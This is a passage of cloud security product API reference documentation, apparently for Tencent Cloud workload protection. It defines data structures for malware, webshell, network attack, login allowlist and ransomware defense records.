
IgnoreBaselineRule

Information on the ignored baseline check item

Used by actions: DescribeIgnoreBaselineRule.

Name	Type	Description
RuleName	String	Baseline check item name Note: This field may return null, indicating that no valid values can be obtained.
RuleId	Integer	Baseline check item ID Note: This field may return null, indicating that no valid values can be obtained.

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ModifyTime	String	Update time Note: This field may return null, indicating that no valid values can be obtained.
Fix	String	Fixing suggestions Note: This field may return null, indicating that no valid values can be obtained.
EffectHostCount	Integer	Number of affected hosts Note: This field may return null, indicating that no valid values can be obtained.

IgnoreRuleEffectHostInfo

Information of hosts affected by ignoring detection items

Used by actions: DescribeIgnoreRuleEffectHostList.

Name	Type	Description
HostName	String	Host name Note: This field may return null, indicating that no valid values can be obtained.
Level	Integer	Severity level: 1: low-risk; 2: medium-risk; 3: high-risk; 4: critical Note: This field may return null, indicating that no valid values can be obtained.
TagList	Array of String	Host tag array Note: This field may return null, indicating that no valid values can be obtained.
Status	Integer	Status: 0: failed; 1: ignore; 3: passed; 5: detecting Note: This field may return null, indicating that no valid values can be obtained.
LastScanTime	String	Last check time Note: This field may return null, indicating that no valid values can be obtained.
EventId	Integer	Event ID Note: This field may return null, indicating that no valid values can be obtained.
Quuid	String	Host QUUID Note: This field may return null, indicating that no valid values can be obtained.

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IncidentVertexInfo

Event point information

Used by actions: DescribeAlarmIncidentNodes.

Name	Type	Description
IncidentId	String	Event ID Note: This field may return null, indicating that no valid values can be obtained.
TableName	String	The name of the table where the event occurred Note: This field may return null, indicating that no valid values can be obtained.
Vertex	Array of VertexInfo	A list of node information, with array items containing detailed node information Note: This field may return null, indicating that no valid values can be obtained.
VertexCount	Integer	Total number of nodes Note: This field may return null, indicating that no valid values can be obtained.

JavaMemShellDetail

Java webshell event details

Used by actions: DescribeJavaMemShellInfo.

Name	Type	Description
InstanceName	String	Container name
InstanceState	String	Instance Status: RUNNING, STOPPED, SHUTDOWN...
PrivateIp	String	Private IP address
PublicIp	String	Public IP
Type	Integer	Memory Trojan Type. 0: Filter Type; 1: Listener Type; 2: Servlet Type; 3: Interceptors Type; 4: Agent Type; 5: Other
Description	String	Description

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CreateTime	String	First detection time
RecentFoundTime	String	Last detection time
Status	Integer	Processing Status. 0 - Pending; 1 - Allowlisted; 2 - Deleted; 3 - Ignored; 4 - Manually Processed
ClassLoaderName	String	Java Loader Class Name
SuperClassName	String	Parent class name
Md5	String	Class file MD5
Interfaces	String	Inherited API
Annotations	String	Annotation
Pid	Integer	Process ID
Exe	String	Java Process Path
Args	String	Java process command line parameters
ClassName	String	Class name
ClassContent	String	Java Memory Horse Binary Code (base64)
ClassContentPretty	String	Java Memory Trojan Decompilation Code
EventDescription	String	Event description
SecurityAdvice	String	Security advice
MachineExtraInfo	MachineExtraInfo	Additional host information Note: This field may return null, indicating that no valid values can be obtained.
MachineState	String	Instance status: RUNNING, STOPPED, SHUTDOWN...

JavaMemShellInfo

Java webshell event information

Used by actions: DescribeJavaMemShellList.

Name	Type	Description

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Id	Integer	Event ID
Alias	String	Server name Note: This field may return null, indicating that no valid values can be obtained.
HostIp	String	Server IP address Note: This field may return null, indicating that no valid values can be obtained.
Type	Integer	Memory Trojan Type. 0: Filter Type; 1: Listener Type; 2: Servlet Type; 3: Interceptors Type; 4: Agent Type; 5: Other
Description	String	Description
CreateTime	String	First detection time
RecentFoundTime	String	Last detection time
Status	Integer	Processing Status. 0 - Pending; 1 - Allowlisted; 2 - Deleted; 3 - Ignored; 4 - Manually Processed
Quuid	String	Server QUUID
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.
Uuid	String	Server UUID Note: This field may return null, indicating that no valid values can be obtained.

JavaMemShellPluginInfo

Java Memory Trojan Plugin Information

Used by actions: DescribeJavaMemShellPluginInfo.

Name	Type	Description
Pid	Integer	Injection Process PID
MainClass	String	Injection Process Main Class
Status	Integer	Injection Status. 0: Injecting; 1: Injection Succeeded; 2: Plugin Timeout; 3: Plugin Exits; 4: Injection Failed; 5: Soft-delete

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ErrorLog	String	Error logs

JavaMemShellPluginSetting

Java Memory Trojan Plugin Configuration

Used by actions: DescribeJavaMemShellPluginList.

Name	Type	Description
Quuid	String	Container QUUID
Alias	String	Server name
HostIp	String	Server IP address
JavaShellStatus	Integer	Javashell Plugin Switch. 0: Off; 1: On
Exception	Integer	Plugin Exception Status. 0: Normal; 1: Abnormal
CreateTime	String	Creation time
ModifyTime	String	Modification time
Uuid	String	Server UUID Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.

KeyValueArrayInfo

Index key-value information

Used by actions: DescribeLogIndex.

Name	Type	Description
Key	String	Field requiring Key-Value or Meta Field Index configuration
Value	ValueInfo	Field index description

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KeyValueInfo

Key-value index configuration

Used by actions: DescribeLogIndex.

Name	Type	Description
CaseSensitive	Boolean	Whether case-sensitive
KeyValues	Array of KeyValueArrayInfo	Information about the key-value pair to be indexed Note: This field may return null, indicating that no valid values can be obtained.

LicenseBindDetail

Authorize binding details

Used by actions: DescribeLicenseBindList.

Name	Type	Description
MachineName	String	Machine Alias
MachineWanIp	String	Machine Public IP address
MachineIp	String	Machine Private IP address
Quuid	String	CVM UUID
Uuid	String	CWPP client UUID
Tags	Array of String	Tag information
AgentStatus	String	CWPP client status: OFFLINE, ONLINE, and UNINSTALL.
IsUnBind	Boolean	Whether unbinding is allowed: false - unbinding is not allowed.
IsSwitchBind	Boolean	Whether rebinding is allowed: false - rebinding is not allowed.
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.

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LicenseBindTaskDetail

Authorization binding task details

Used by actions: DescribeLicenseBindSchedule.

Name	Type	Description
Quuid	String	CVM UUID
ErrMsg	String	Error message
Status	Integer	0-in progress; 1-succeeded; 2-failed
FixMessage	String	Fix suggestion
MachineExtraInfo	MachineExtraInfo	Additional information of machine Note: This field may return null, indicating that no valid values can be obtained.

LicenseDetail

Authorization order list object

Used by actions: DescribeLicenseList.

Name	Type	Description
LicenseId	Integer	Authorization ID
LicenseType	Integer	Authorization type. 0: Pro Edition - pay-as-you-go; 1: Pro Edition - monthly subscription; 2: Ultimate Edition - monthly subscription.
LicenseStatus	Integer	Authorization status. 0: not in use; 1: partially in use; 2: used up; 3: unavailable. Note: This field may return null, indicating that no valid values can be obtained.
LicenseCnt	Integer	Total number of authorizations
UsedLicenseCnt	Integer	Number of used authorizations
OrderStatus	Integer	Order status. 1: normal; 2: isolated; 3: terminated.
Deadline	String	Deadline
ResourceId	String	Order resource ID

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AutoRenewFlag	Integer	0: initialization; 1: automatic renewal; 2: no automatic renewal.
ProjectId	Integer	Project ID
TaskId	Integer	Task ID. Default value: 0. It is used to query the binding progress.
BuyTime	String	Time of purchase
SourceType	Integer	Whether the order is a trial order
Alias	String	Resource alias
Tags	Array of Tags	Platform Tag Note: This field may return null, indicating that no valid values can be obtained.
FreezeNum	Integer	Number of frozen authorizations. 0: no authorization is frozen; other values: actual number of frozen authorizations. Note: This field may return null, indicating that no valid values can be obtained.

LicenseOrder

Authorization Order Object Content

Used by actions: DescribeMachinesSimple.

Name	Type	Description
LicenseId	Integer	Authorization ID
LicenseType	Integer	Authorization type
Status	Integer	Authorization Order Resource Status
SourceType	Integer	Order type
ResourceId	String	Resource ID

LogHistogram

Result details of statistics within the histogram period

Used by actions: DescribeLogHistogram.

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Name	Type	Description
Count	Integer	Number of logs within the statistical period
TimeStamp	Integer	Unix timestamp rounded by period, in ms

LogInfo

Log details

Used by actions: SearchLog.

Name	Type	Description
Content	String	JSON serialized string of the log content
FileName	String	Log file name
Source	String	Log source IP address
TimeStamp	Integer	Log time, in milliseconds

LogStorageRecord

Record of stored log size

Used by actions: DescribeLogStorageRecord.

Name	Type	Description
Month	String	Year and month Note: This field may return null, indicating that no valid values can be obtained.
UsedSize	Integer	Used storage capacity, in bytes Note: This field may return null, indicating that no valid values can be obtained.
InquireSize	Integer	Total capacity, in bytes Note: This field may return null, indicating that no valid values can be obtained.

LoginWhiteCombinedInfo

Merge cross-region log-in allowlists

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Used by actions: DescribeLoginWhiteCombinedList.

Name	Type	Description
Places	Array of Place	Allowlist region Note: This field may return null, indicating that no valid values can be obtained.
UserName	String	Allowlisted users (Multiple users are separated by commas.)
SrcIp	String	Allowlisted IPs (Multiple IPs are separated by commas.)
Locale	String	Region string
Remark	String	Remarks
StartTime	String	Start time
EndTime	String	End time
IsGlobal	Integer	Whether the settings take effect globally. 1: take effect globally; 0: take effect on the specified host list.
Name	String	Allowlist name. If IsLocal is set to 1, the name is fixed as All servers. If the allowlist applies to only a single server, the name is the server's private IP Address. If the allowlist applies to multiple servers, the name is the number of servers, such as 11.
Desc	String	Return the server name when the allowlist applies to only one server.
Id	Integer	Allowlist ID
CreateTime	String	Creation time
ModifyTime	String	Last modification time
Uuid	String	Server UUID
Locations	String	Login Location

LoginWhiteLists

Cross-region log-in allowlist

Used by actions: DescribeLoginWhiteList.

Name	Type	Description

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Id	Integer	Record ID
Uuid	String	Yunjing client ID
Places	Array of Place	Allowlisted regions
UserName	String	Allowlisted users (Multiple users are separated by commas.)
SrcIp	String	Allowlisted IPs (Multiple IPs are separated by commas.)
IsGlobal	Boolean	Whether a global rule
CreateTime	Timestamp	Time of creating the allowlist
ModifyTime	Timestamp	Time of modifying the allowlist
MachineName	String	Machine name
HostIp	String	Machine IP
StartTime	String	Start time
EndTime	String	End time

Machine

Host list

Used by actions: DescribeMachines.

Name	Type	Description
MachineName	String	Host name.
MachineOs	String	Host System.
MachineStatus	String	Host status • OFFLINE: Offline • ONLINE: Online • SHUTDOWN: Shut down • UNINSTALLED: Unprotected
Uuid	String	Yunjing client UUID. If the client is offline for a long time, an empty string is returned.
Quuid	String	CVM or BM Machine Unique UUID.

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VulNum	Integer	Number of vulnerabilities
MachineIp	String	Host IP.
IsProVersion	Boolean	Whether the edition is Pro Edition • true: yes • false: no
MachineWanIp	String	Public IP address of a host
PayMode	String	Host status • POSTPAY: postpaid, indicating pay-as-you-go mode • PREPAY: prepaid, indicating monthly subscription mode
MalwareNum	Integer	Number of Trojans
Tag	Array of MachineTag	Tag information
BaselineNum	Integer	Number of baseline risks
CyberAttackNum	Integer	Number of network risks
SecurityStatus	String	Risk status • SAFE: Safe • RISK: Risk • UNKNOWN: Unknown
InvasionNum	Integer	Number of intrusion events
RegionInfo	RegionInfo	Region information
InstanceState	String	Instance status: TERMINATED_PRO_VERSION - terminated
LicenseStatus	Integer	Tamper-proof; authorization status: 1 - authorized; 0 - unauthorized
ProjectId	Integer	Project ID
HasAssetScan	Integer	Whether there is an available asset scanning API: 0 - no; 1 - yes
MachineType	String	Machine Zone Type. CVM - Cloud Virtual Machine; BM: Bare Metal; ECM: Edge Computing Machine; LH: Lightweight Application Server; Other: Hybrid Cloud Zone
KernelVersion	String	Kernel version
ProtectType	String	Protection version: BASIC_VERSION - Basic Edition; PRO_VERSION - Professional Edition; Flagship - Ultimate

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		Edition; GENERAL_DISCOUNT - Inclusive Edition
CloudTags	Array of Tags	Cloud Tag Information Note: This field may return null, indicating that no valid values can be obtained.
IsAddedOnTheFifteen	Integer	Whether a host added within the last 15 days: 0: no; 1: yes Note: This field may return null, indicating that no valid values can be obtained.
IpList	String	Host IP List Note: This field may return null, indicating that no valid values can be obtained.
VpcId	String	Network Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.
InstanceId	String	Instance ID
Remark	String	Remarks Note: This field may return null, indicating that no valid values can be obtained.

MachineClearHistory

Machine Cleanup Record Object

Used by actions: DescribeMachineClearHistory.

Name	Type	Description
Id	Integer	ID Value
InstanceId	String	Instance ID
InstanceName	String	Instance name
PublicIp	String	Public IP address
PrivateIp	String	Private IP address

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AgentLastOfflineTime	String	Client Last Offline Time
CreateTime	String	Creation time

MachineExtraInfo

Server Basic Information

Used by actions: DescribeAssetAppList, DescribeAssetCoreModuleList, DescribeAssetDatabaseList, DescribeAssetEnvList, DescribeAssetInitServiceList, DescribeAssetJarList, DescribeAssetMachineDetail, DescribeAssetMachineList, DescribeAssetPlanTaskList, DescribeAssetPortInfoList, DescribeAssetProcessInfoList, DescribeAssetSystemPackageList, DescribeAssetUserList, DescribeAssetWebAppList, DescribeAssetWebFrameList, DescribeAssetWebLocationList, DescribeAssetWebServiceInfoList, DescribeAttackEventInfo, DescribeAttackEvents, DescribeAttackLogs, DescribeBaselineHostDetectList, DescribeBaselineItemList, DescribeBashEventsNew, DescribeBruteAttackList, DescribeDefenceEventDetail, DescribeFileTamperEvents, DescribeHostLoginList, DescribeIgnoreHostAndItemConfig, DescribeJavaMemShellInfo, DescribeJavaMemShellList, DescribeJavaMemShellPluginList, DescribeLicenseBindList, DescribeLicenseBindSchedule, DescribeMachines, DescribeMalWareList, DescribeMalwareInfo, DescribeReverseShellEvents, DescribeRiskDnsEventInfo, DescribeRiskDnsEventList, DescribeRiskProcessEvents, DescribeScanTaskDetails, DescribeScreenMachines, DescribeVulDefenceEvent, DescribeVulEffectHostList.

Name	Type	Description
WanIP	String	Public IP address Note: This field may return null, indicating that no valid values can be obtained.
PrivateIP	String	Private IP address Note: This field may return null, indicating that no valid values can be obtained.
NetworkType	Integer	Network Type. 1: VPC network; 2: Basic Network; 3: Non-Tencent Cloud Network Note: This field may return null, indicating that no valid values can be obtained.
NetworkName	String	Network Name, returns vpc_id in the case of a VPC network Note: This field may return null, indicating that no valid values can be obtained.
InstanceID	String	Instance ID Note: This field may return null, indicating that no valid values can be obtained.
HostName	String	Host name Note: This field may return null, indicating that no valid values can be obtained.

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MachineFileTamperRule

Query Details of Host-related Core File Monitoring Rules

Used by actions: DescribeMachineFileTamperRules.

Name	Type	Description
Name	String	Rule name Note: This field may return null, indicating that no valid values can be obtained.
RuleCategory	Integer	Rule Type. 0: System Rule; 1: User Rule
Rule	Array of FileTamperRule	Rule
Id	Integer	Unique ID

MachineLicenseDetail

Information on the authorization bound to the machine

Used by actions: DescribeMachineLicenseDetail.

Name	Type	Description
Quuid	String	Host QUUID
PayMode	Integer	xx
ResourceId	String	xxx
InquireKey	String	xxx
SourceType	Integer	xxx

MachineSimple

Host List Shuttle Box

Used by actions: DescribeMachinesSimple.

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Name	Type	Description
MachineName	String	Host name.
MachineOs	String	Host System.
Uuid	String	Yunjing client UUID. If the client is offline for a long time, an empty string is returned.
Quuid	String	CVM or BM Machine Unique UUID.
MachineIp	String	Host IP.
IsProVersion	Boolean	Whether the edition is Pro Edition • true: yes • false: no
MachineWanIp	String	Public IP address of the host
PayMode	String	Host status • POSTPAY: postpaid, indicating pay-as-you-go mode • PREPAY: prepaid, indicating monthly subscription mode
Tag	Array of MachineTag	Tag information
RegionInfo	RegionInfo	Region information
InstanceState	String	Instance status. TERMINATED_PRO_VERSION: terminated.
ProjectId	Integer	Project ID
MachineType	String	Machine Zone Type. CVM - Cloud Virtual Machine; BM: Bare Metal; ECM: Edge Computing Machine; LH: Lightweight Application Server; Other: Hybrid Cloud Zone
KernelVersion	String	Kernel version
ProtectType	String	Protection Edition. BASIC_VERSION: Basic Edition; PRO_VERSION: Professional Edition; Flagship: Premium Edition; GENERAL_DISCOUNT: General Discount Edition
LicenseOrder	LicenseOrder	Authorization order object Note: This field may return null, indicating that no valid values can be obtained.
CloudTags	Array of Tags	Cloud Tag Information Note: This field may return null, indicating that no valid values can be obtained.

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InstanceId	String	Instance ID Note: This field may return null, indicating that no valid values can be obtained.

MachineSnapshotInfo

Machine snapshot information

Used by actions: DescribeMachineSnapshot.

Name	Type	Description
Quuid	String	cvm id
HostName	String	Host name
HostIp	String	Host IP address
SnapshotName	String	Snapshot name
CreateTime	String	Snapshot creation time
DiskId	String	Disk ID
InstanceId	String	Instance ID
RegionId	Integer	Region ID
SnapshotId	String	Snapshot ID

MachineTag

Server tag information

Used by actions: DescribeAssetAppList, DescribeAssetDatabaseList, DescribeAssetMachineList, DescribeAssetPortInfoList, DescribeAssetProcessInfoList, DescribeAssetWebAppList, DescribeAssetWebFrameList, DescribeAssetWebLocationList, DescribeAssetWebServiceInfoList, DescribeLoginWhiteHostList, DescribeMachines, DescribeMachinesSimple, DescribeRansomDefenseMachineList, DescribeRansomDefenseStrategyMachines.

Name	Type	Description
Rid	Integer	Associated tag ID

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Name	String	Tag name
TagId	Integer	Tag ID

MalWareList

Trojan list

Used by actions: DescribeMalWareList.

Name	Type	Description
HostIp	String	Server IP address
Uuid	String	UUID
FilePath	String	Path
VirusName	String	Description
Status	Integer	Status: 4-Pending, 5-Trusted, 6-Isolated, 8-Files Deleted, 14-Processed.
Id	Integer	Unique ID Note: This field may return null, indicating that no valid values can be obtained.
Alias	String	Host alias
Tags	Array of String	Feature tag. This field has been deprecated, and no tag will be returned. Tags are returned in the details. Note: This field may return null, indicating that no valid values can be obtained.
FileCreateTime	String	First running time Note: This field may return null, indicating that no valid values can be obtained.
FileModifierTime	String	Last running time Note: This field may return null, indicating that no valid values can be obtained.
CreateTime	String	Creation time
LatestScanTime	String	Last scan time

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Level	Integer	Risk level. 0: unknown; 1: low; 2: medium; 3: high; 4: critical.
CheckPlatform	String	Trojan detection platforms, separated with commas. 1: cloud security engine; 2: TAV; 3: BinaryAI; 4: abnormal behavior; 5: threat intelligence.
ProcessExists	Integer	Whether the Trojan process exists. 0: no; 1: yes.
FileExists	Integer	Whether the Trojan file exists. 0: no; 1: yes.
Quuid	String	cvm quuid
MD5	String	Trojan sample MD5
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

MaliciousRequestWhiteListInfo

Malicious request allowlist information

Used by actions: DescribeMaliciousRequestWhiteList.

Name	Type	Description
Id	Integer	Allowlist ID
Domain	String	Domain name
Mark	String	Remarks
CreateTime	String	Creation time
ModifyTime	String	Update time

MalwareInfo

Malicious file details

Used by actions: DescribeMalwareInfo.

Name	Type	Description

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VirusName	String	Virus name
FileSize	Integer	File size
MD5	String	File MD5
FilePath	String	File address
FileCreateTime	String	First running time
FileModifierTime	String	Last running time
HarmDescribe	String	Severity description
SuggestScheme	String	Recommended solution
ServersName	String	Server name
HostIp	String	Server IP
ProcessName	String	Process name
ProcessID	String	Process ID
Tags	Array of String	Tag Features
Breadth	String	Impact breadth // Not provided currently Note: This field may return null, indicating that no valid values can be obtained.
Heat	String	Search popularity // Not provided currently Note: This field may return null, indicating that no valid values can be obtained.
Id	Integer	Unique ID
FileName	String	File name
CreateTime	String	First detection time
LatestScanTime	String	Last scan time
Reference	String	Reference link
MachineWanIp	String	Public IP address Note: This field may return null, indicating that no valid values can be obtained.
PsTree	String	Process tree in JSON format. pid: process ID; exe: file path;

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		account: groups and users to which the process belongs; cmdline: executed commands; ssh_service: SSH service IP; ssh_source: log-in source .Note: This field may return null, indicating that no valid values can be obtained.
MachineStatus	String	Online status of a host: OFFLINE and ONLINE Note: This field may return null, indicating that no valid values can be obtained.
Status	Integer	Status. 4: pending; 5: trusted; 6: isolated. Note: This field may return null, indicating that no valid values can be obtained.
Level	Integer	Risk level. 0: prompt; 1: low; 2: medium; 3: high; 4: critical.Note: This field may return null, indicating that no valid values can be obtained.
CheckPlatform	String	Trojan detection platforms, separated with commas. 1: cloud security engine; 2: TAV; 3: BinaryAI; 4: abnormal behavior; 5: threat intelligence.Note: This field may return null, indicating that no valid values can be obtained.
Uuid	String	Host UUID Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Last modification time Note: This field may return null, indicating that no valid values can be obtained.
StrFileAccessTime	String	Last access time Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

MalwareRisk

List of information on malicious file risks

Used by actions: DescribeMalwareRiskWarning.

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Name	Type	Description
MachineIp	String	Machine IP
VirusName	String	Virus name
CreateTime	String	Detection time
Id	Integer	Unique ID

MalwareRiskOverview

File Scan Overview Information

Used by actions: DescribeMalwareRiskOverview.

Name	Type	Description
HostCount	Integer	Number of affected hosts
ProcessCount	Integer	Exceptional Process Count
FileCount	Integer	Number of Malicious Files
IsFirstScan	Boolean	Is it the first Scan [false: No | true: Yes].
ScanTime	String	Last scan time

MalwareWhiteListAffectEvent

Number of events hitting allowlists

Used by actions: DescribeMalwareWhiteListAffectList.

Name	Type	Description
Id	Integer	Unique ID
HostIp	String	Host IP
Md5	String	Affected md5
FilePath	String	File path
CreateTime	String	Add time

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MalwareWhiteListInfo

Trojan allowlist information

Used by actions: DescribeMalwareWhiteList.

Name	Type	Description
Id	Integer	Unique ID
QuuidList	String	CVM QUUID (Separate multiple items with commas.)
Md5List	String	md5 list (Separate multiple items with commas.)
IsGlobal	Integer	Whether applies all hosts: 0 - no; 1 - yes
Mode	Integer	Allowlist mode: 0 - MD5; 1 - customization
MatchType	Integer	Match mode: 0 - precise match; 1 - fuzzy match
FileName	String	File name (Separate multiple items with commas.)
FileDirectory	String	File directory (Separate multiple items with commas.)
FileExtension	String	File suffix (Separate multiple items with commas.)
CreateTime	String	Rule creation time
EventsCount	Integer	Affected records

MonthInspectionReport

Expert service - monthly inspection report

Used by actions: DescribeMonthInspectionReport.

Name	Type	Description
ReportName	String	Inspection report name
ReportPath	String	Inspection report download link
ModifyTime	String	Inspection report update time

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NetAttackEvent

Network attack event

Used by actions: DescribeAttackEvents.

Name	Type	Description
Id	Integer	Log ID
Uuid	String	Client ID
DstPort	Integer	Target port
SrcIP	String	Source IP
Location	String	Source location
VulId	Integer	Vulnerability ID
VulName	String	Vulnerability name
MergeTime	String	Attack time
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.
Type	Integer	Attack Status: 0: Attack Attempt 1: Confirmed Attack (Successful Attack).
Status	Integer	Processing Status: 0 Pending, 1 Processed, 2 Allowlisted, 3 Ignored, 4 Deleted, 5: Defense Enabled.
VulSupportDefense	Integer	Whether vulnerabilities support defense. 0: No 1: Yes
VulDefenceStatus	Integer	Whether to enable vulnerability defense: 0 - No, 1 - Yes
PayVersion	Integer	Machine payment edition. 0: Basic Edition; 1: Professional Edition; 2: Premium Edition; 3: General Discount Edition
Quuid	String	cvm uuid
Count	Integer	Attacks
New	Boolean	Whether to add new hosts today

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NetAttackEventInfo

Details of Network Attack Events

Used by actions: DescribeAttackEventInfo.

Name	Type	Description
Status	Integer	Processing Status: 0 Pending, 1 Processed, 2 Allowlisted, 3 Ignored, 4 Deleted, 5: Defense Enabled.
SrcIP	String	Attack source IP address
Location	String	Attack Source
VulName	String	Vulnerability name
VulId	Integer	Vulnerability ID
CVEId	String	Vulnerability CVE ID
AttackLevel	Integer	Vulnerability attack level
VulDefenceStatus	Integer	Vulnerability Defense Status: 0 Disabled, 1 Enabled.
VulSupportDefense	Integer	Whether vulnerabilities support defense. 0: No 1: Yes
SvcPs	String	Service Process Base64
NetPayload	String	Attack packet
AbnormalAction	String	Abnormal behavior
Uuid	String	Host UUID
Id	Integer	Event ID
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.
DstPort	Integer	Target port
Count	Integer	Attack count
PayVersion	Integer	Machine payment edition. 0: Basic Edition; 1: Professional Edition; 2: Premium Edition; 3: General Discount Edition

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Quuid	String	cvm uuid Note: This field may return null, indicating that no valid values can be obtained.
MergeTime	String	Time of Attack Note: This field may return null, indicating that no valid values can be obtained.
Type	Integer	0: Attack Attempt 1: Successful Attack Note: This field may return null, indicating that no valid values can be obtained.
HostOpType	Integer	0: No Compromised Behavior 1: RCE (command execution) 2: Dnslog 3: Writefile Note: This field may return null, indicating that no valid values can be obtained.
HostOpProcessTree	String	Process Tree, needs to be decoded with base64. Note: This field may return null, indicating that no valid values can be obtained.

NetAttackTopInfo

Statistics on top network attacks

Used by actions: DescribeAttackTop.

Name	Type	Description
Agent	Array of TopInfo	Top Statistical Data on Network Attack Host Dimension Note: This field may return null, indicating that no valid values can be obtained.
SrcIp	Array of TopInfo	Top Statistical Data on Network Attack IP Source Dimension Note: This field may return null, indicating that no valid values can be obtained.
DstPort	Array of TopInfo	Top Statistical Data on Network Attack Target Port Dimension Note: This field may return null, indicating that no valid values can be obtained.
Vul	Array of TopInfo	Top Statistical Data on Network Attack Vulnerability Dimension Note: This field may return null, indicating that no valid values can be obtained.

NetAttackTrend

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Attack trend statistics

Used by actions: DescribeAttackTrends.

Name	Type	Description
DateTime	String	Time Point, e.g., 2023-05-06 Note: This field may return null, indicating that no valid values can be obtained.
AttackCount	Integer	Number of attacks Note: This field may return null, indicating that no valid values can be obtained.
TryAttackCount	Integer	Attack Attempts Note: This field may return null, indicating that no valid values can be obtained.
SuccAttackCount	Integer	Attack Success Count Note: This field may return null, indicating that no valid values can be obtained.

NetAttackWhiteRule

Network attack allowlist rules

Used by actions: DescribeNetAttackWhiteList.

Name	Type	Description
Id	Integer	Rule ID Note: This field may return null, indicating that no valid values can be obtained.
Description	String	Rule description Note: This field may return null, indicating that no valid values can be obtained.
Scope	Integer	0: A group of Quuid 1: All hosts Note: This field may return null, indicating that no valid values can be obtained.
DealOldEvents	Integer	Whether to process previous events: 0: do not process; 1: process Note: This field may return null, indicating that no valid values can be obtained.
Quuids	String	Host QUUIDs, separated by semicolons (;). Note: This field may return null, indicating that no valid values can be obtained.
SrcIP	String	Source IP. Single IP: 1.1.1.1, IP Range: 1.1.1.1-1.1.2.1, IP Range: 1.1.1.0/24, separated by semicolons (;) Note: This field may return null, indicating that no valid values can be obtained.
CreateTime	String	Creation time

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		Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Modification time Note: This field may return null, indicating that no valid values can be obtained.

OpenPortStatistics

Port statistics list

Used by actions: DescribeOpenPortStatistics.

Name	Type	Description
Port	Integer	Port number
MachineNum	Integer	Number of Hosts

OrderModifyObject

Order Modification Parameter Object

Used by actions: CreateLicenseOrder.

Name	Type	Required	Description
ResourceId	String	No	Resource ID
NewSubProductCode	String	No	New Product Identification. PRO_VERSION: Professional Edition; FLAGSHIP: Premium Edition
InquireNum	Integer	No	Scale-up/Scale-down Count, which is ignored for reconfiguration sub-product

OrderResource

Order resources

Used by actions: CreateWhiteListOrder.

Name	Type	Description
Id	Integer	Resource primary key ID

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ResourceId	String	Resource ID
BeginTime	String	Start time
EndTime	String	Expiration time
LicenseType	Integer	Authorization type

OsName

Operating System Name

Used by actions: DescribeMachineOsList.

Name	Type	Description
Name	String	System name
MachineOSType	Integer	Operating system type enumeration value

Place

Log-in location information

Used by actions: AddLoginWhiteLists, DescribeLoginWhiteCombinedList, DescribeLoginWhiteList, ModifyLoginWhiteInfo, ModifyLoginWhiteRecord.

Name	Type	Required	Description
CityId	Integer	Yes	City ID
ProvinceId	Integer	Yes	Province ID
CountryId	Integer	Yes	Country ID. Currently, only 1 is supported, indicating China.
Location	String	No	Location name

PrivilegeEventInfo

Local privilege escalation data

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Used by actions: DescribePrivilegeEventInfo.

Name	Type	Description
Id	Integer	Data ID
Uuid	String	Yunjing ID
Quuid	String	Host ID
HostIp	String	Host private IP address
ProcessName	String	Process name
FullPath	String	Process path
CmdLine	String	Execute commands
UserName	String	Username
UserGroup	String	User group
ProcFilePrivilege	String	Process file permission
ParentProcName	String	Parent process name
ParentProcUser	String	Parent process username
ParentProcGroup	String	Parent process user group
ParentProcPath	String	Parent process path
PsTree	String	Process tree json pid: process ID; exe: file path; account: groups and users to which the process belongs; cmdline: execute commands; ssh_service: SSH service IP; ssh_source: log-in source
Status	Integer	Processing status: 0: pending; 2: allowlisted; 3: processed; 4: ignored
CreateTime	String	Occurrence time
MachineName	String	Machine name
SuggestScheme	String	Recommended solution
HarmDescribe	String	Hazard description information
Tags	Array of String	Tag

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References	Array of String	Reference link
MachineWanIp	String	Host public IP address
NewCaps	String	Permission list (Separate multiple items with |.)
MachineStatus	String	Host online status: OFFLINE; ONLINE
ModifyTime	String	Processing time

PrivilegeRule

Local privilege escalation rule

Used by actions: DescribePrivilegeRules.

Name	Type	Description
Id	Integer	Rule ID
Uuid	String	Client ID
ProcessName	String	Process name
SMode	Integer	Whether the mode is S mode
Operator	String	Operator
IsGlobal	Integer	Whether the rule is global
Status	Integer	Status. 0: valid; 1: invalid.
CreateTime	String	Creation time
ModifyTime	String	Modification time
Hostip	String	Host IP

ProcessStatistics

Process statistics data

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Used by actions: DescribeProcessStatistics.

Name	Type	Description
ProcessName	String	Process name
MachineNum	Integer	Number of hosts

ProductStatusInfo

Product trial status query API Data output parameter

Used by actions: DescribeProductStatus.

Name	Type	Description
FWUserStatus	Integer	Protection status. 1: unprotected; 2: protecting; 3: in trial; 4 expired
CanApplyTrial	Boolean	Whether application for trial is available. True indicates yes.
CanNotApplyReason	String	Reason for unavailable trial (Leave it blank if the trial is available.)
LastTrialTime	String	Last trial end time (Leave it blank if no trial record exists.)

RansomDefenseBackup

List of host snapshot backup

Used by actions: DescribeRansomDefenseBackupList.

Name	Type	Description
BackupTime	String	Backup time
EventStatus	Integer	Ransom Status: 0 - No Alarm, 1 - Alarm Present
BackupStatus	Integer	Backup Status: 0 - Backing up, 1 - Normal, 2, 3 - Failed, 4 - Snapshot expired, 9 - Snapshot deleted
DiskCount	Integer	Number of backup disk
Disks	String	Hard Disk Information, separated by semicolons (;).
SnapshotIds	String	Snapshot List, separated by semicolons (;)

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StrategyId	Integer	Policy ID
StrategyStatus	Integer	Policy Status: 0 Disabled, 1 Enabled, 9 Deleted
StrategyName	String	Policy name

RansomDefenseEvent

Prevention of Ransomware, Bait and Tamper Events

Used by actions: DescribeRansomDefenseEventsList.

Name	Type	Description
Id	Integer	Event ID
Uuid	String	Host UUID
Quuid	String	cvm uuid
HostName	String	Host name
